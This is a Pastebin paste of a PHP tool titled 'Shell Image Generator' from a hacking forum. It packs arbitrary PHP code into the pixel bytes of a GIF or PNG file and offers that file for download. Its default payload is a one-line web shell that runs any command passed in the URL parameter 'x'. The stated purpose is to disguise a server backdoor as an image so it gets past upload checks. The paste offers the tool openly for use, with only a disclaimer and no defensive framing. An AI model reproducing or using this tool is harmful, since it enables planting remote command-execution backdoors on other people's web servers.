Advertisement
talama

SHELL IMAGE GENERATOR

May 9th, 2017
402
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.09 KB | None | 0 0
  1. <?php
  2.  
  3. /**
  4. * @author BlueBoyz
  5. * @copyright 2013 ExploreCrew.Org
  6. * @fixed Jei.Xcrew, and you..
  7. * @filesource http://forum.explorecrew.org/index.php?action=forum
  8. *
  9. * We hate Ripper!! Please don't remove or change original author name of posted article/code
  10. * fixed it add your nick
  11. */
  12.  
  13. /**
  14. * Any consequences in views of the use of scripts, techniques, codes, tutorials,
  15. * and everything imaginable on this website are purely the responsibility of the user,
  16. * NOT ExploreCrew or OTHER FORUM of posted this article/code.
  17. * If you agree about this, continue reading.
  18. * If you do not agree, please leave.
  19. **/
  20.  
  21. session_start();
  22.  
  23. if(isset($_POST['scripts']))
  24. {
  25. if((strlen($_POST['scripts']) > 20) && (strlen($_POST['scripts']) < 6000))
  26. {
  27. @$_SESSION["scripts"] = base64_encode(@$_POST['scripts']);
  28. @$_SESSION["image"] = $_POST['image'];
  29. header("Location: ?set");
  30. }else{
  31. die('
  32. <script type="text/javascript">
  33. alert("minlength:20 and maxlength:6000")
  34. window.location = "?";
  35. </script>'
  36. );
  37. }
  38. }
  39.  
  40. if(isset($_POST['reset']))
  41. {
  42. $_SESSION["scripts"] = base64_encode("<?php\r\n#min:20 max:6000 \r\nsystem(\$_GET['x']) ;\r\n?>");
  43. $_SESSION["image"] = "jpg";
  44. header("Location: ?null");
  45. }
  46.  
  47. /**
  48. if((empty($_COOKIE['scripts'])) || ($_COOKIE['scripts'] == '') || ($_COOKIE['scripts'] == null))
  49. {
  50. $_SESSION["scripts"] = base64_encode("<?php\r\n#min:20 max:6000 \r\nsystem(\$_GET['x']) ;\r\n?>");
  51. $_SESSION["image"] = "jpg";
  52. header("Location: ?null");
  53. }
  54. */
  55. $string = @base64_decode(@$_SESSION['scripts']);
  56. $imageExt = trim(strtolower(@$_SESSION['image']));
  57.  
  58. if(isset($_GET['preview']))
  59. {
  60. $string = "\r\n".$string."\r\n<!-- \r\n\r\nShell Image Generator by Forum.ExploreCrew.Org\r\n\r\n";
  61. ;
  62. $px = ((int)(strlen($string) / 3));
  63. $arr_string = str_split($string,$px);
  64. $im = @imagecreate(($px),($px)) or die("Cannot Initialize new GD image stream");
  65. $arrString = array();
  66. for($h = 0; $h < ($px); $h++)
  67. {
  68. $arrString = @$arr_string[$h];
  69. $current = 0;
  70. for($w = 0; $w < ($px); $w++)
  71. {
  72. if((@$arrString[$current + 0] != '') && (@$arrString[$current + 1] != '') && (@
  73. $arrString[$current + 2] != ''))
  74. {
  75. $color_r = dechex(ord(@$arrString[$current + 0]));
  76. $color_g = dechex(ord(@$arrString[$current + 1]));
  77. $color_b = dechex(ord(@$arrString[$current + 2]));
  78. $current = $current + 3;
  79.  
  80. $color = @imagecolorallocate($im,"0x$color_r","0x$color_g","0x$color_b");
  81. imagesetpixel($im,$w,$h,$color);
  82. }
  83. }
  84. }
  85.  
  86. //header("Content-Type: image/png");
  87. switch(trim($imageExt))
  88. {
  89. case "gif":
  90. imagegif($im,null);
  91. break;
  92. case "png":
  93. imagepng($im,null);
  94. break;
  95. }
  96.  
  97. if(isset($_GET['download']))
  98. {
  99. header('Content-Disposition: attachment; filename="shell.'.$imageExt.'"');
  100. }
  101.  
  102. imagedestroy($im);
  103. die();
  104. }
  105. $download = sha1(rand(0,999)).'.'.$imageExt;
  106. echo '<!DOCTYPE HTML>';
  107. echo '<html>';
  108. echo '<head>';
  109. echo '<meta http-equiv="content-type" content="text/html" />';
  110. echo '<meta name="author" content="ExploreCrew UnderGround" />';
  111. echo '<title>SHELL IMAGE GENERATOR</title>';
  112. echo '<style type="text/css">';
  113. echo 'article{color:#aaa;margin: auto; position: relative;width:80%; border: 1px solid #eee;padding: 5px;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px;}';
  114. echo 'div textarea,div select{ float: right;width:60%; font-size:1.0em;border: 1px solid #eee;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px; margin:3px;}';
  115. echo 'div input{ text-shadow: #333 0px 1px;color:#aaa; background: -moz-linear-gradient(#f8f8f8, #9d9e9d);background: -webkit-linear-gradient(#f8f8f8, #9d9e9d);background: -o-linear-gradient(#f8f8f8, #9d9e9d);float: right;width:25%; font-size:1.0em; box-shadow: 0px 2px 2px;-moz-box-shadow: 0px 2px 2px;-o-box-shadow: 0px 2px 2px;-webkit-box-shadow: 0px 2px 2px; border: 1px solid #ddd;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px; margin:3px;}';
  116. echo 'div input:hover{ text-shadow: #333 0px 1px;color:#000; background: -moz-linear-gradient(#f8f8f8, #9d9e9d);background: -webkit-linear-gradient(#f8f8f8, #9d9e9d);background: -o-linear-gradient(#f8f8f8, #9d9e9d);float: right;width:25%; font-size:1.0em; box-shadow: 0px 2px 2px;-moz-box-shadow: 0px 2px 2px;-o-box-shadow: 0px 2px 2px;-webkit-box-shadow: 0px 2px 2px; border: 1px solid #ddd;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px; margin:3px;}';
  117. echo 'div label{ color:#aaa;float: left;display:block; height:20px; font-size:1.0em;width:auto;}';
  118. echo 'fieldset { background-color: #f8f8f8;width:auto;height:auto;border: 1px solid #eee;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px;}';
  119. echo 'textarea {height:125px;}';
  120. echo 'legend {color:#333;text-shadow: #888 0px 1px;}';
  121. echo 'form div {height:20px; clear:both; margin-bottom:6px; padding:5px 0px;}';
  122. echo 'h3,h5 {text-align:center}';
  123. echo '</style>';
  124. echo '</head>';
  125. echo '<body>';
  126. echo '<article>';
  127. echo '<h3>..:: SHELL IMAGE GENERATOR ::..</h3>';
  128. echo '<h5>Free Tool by <a href="http://forum.explorecrew.org">Viva ExploreCrew</a></h5>';
  129. echo '<form method="post" action="" enctype="multipart/form-data">';
  130. echo '<fieldset>';
  131. echo '<legend>SHELL</legend>';
  132. echo '<div><label for="scripts">Yours Scripts</label><textarea name="scripts" id="scripts" maxlength="6000">'.
  133. htmlentities($string).'</textarea></div>';
  134. echo '<div>';
  135. echo '<label for="image">Mime Type</label>';
  136. echo '<select size="1" name="image">';
  137. echo '<option value="gif">image/gif</option>';
  138. echo '<option value="png">image/png</option>';
  139. echo '</select>';
  140. echo '</div>';
  141. echo '<div><input type="submit" value="Reset" name="reset" id="generate"/><input type="submit" value="Generate" name="generate" id="generate"/></div>';
  142. echo '</fieldset>';
  143. echo '</form>';
  144. echo '<fieldset>';
  145. echo '<legend>YOUR SHELL IMAGE</legend>';
  146. echo '<div></div>';
  147. echo '<div><a href="?preview='.$download.'&download">Download</a></div>';
  148. echo '</fieldset>';
  149. echo '<small>Free Tool by <a href="http://forum.explorecrew.org">Viva ExploreCrew, Coded by BlueBoyz, Fixed Jei.Free.</a><small>';
  150. echo '</article>';
  151.  
  152. echo '</body>';
  153. echo '</html>';
  154. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement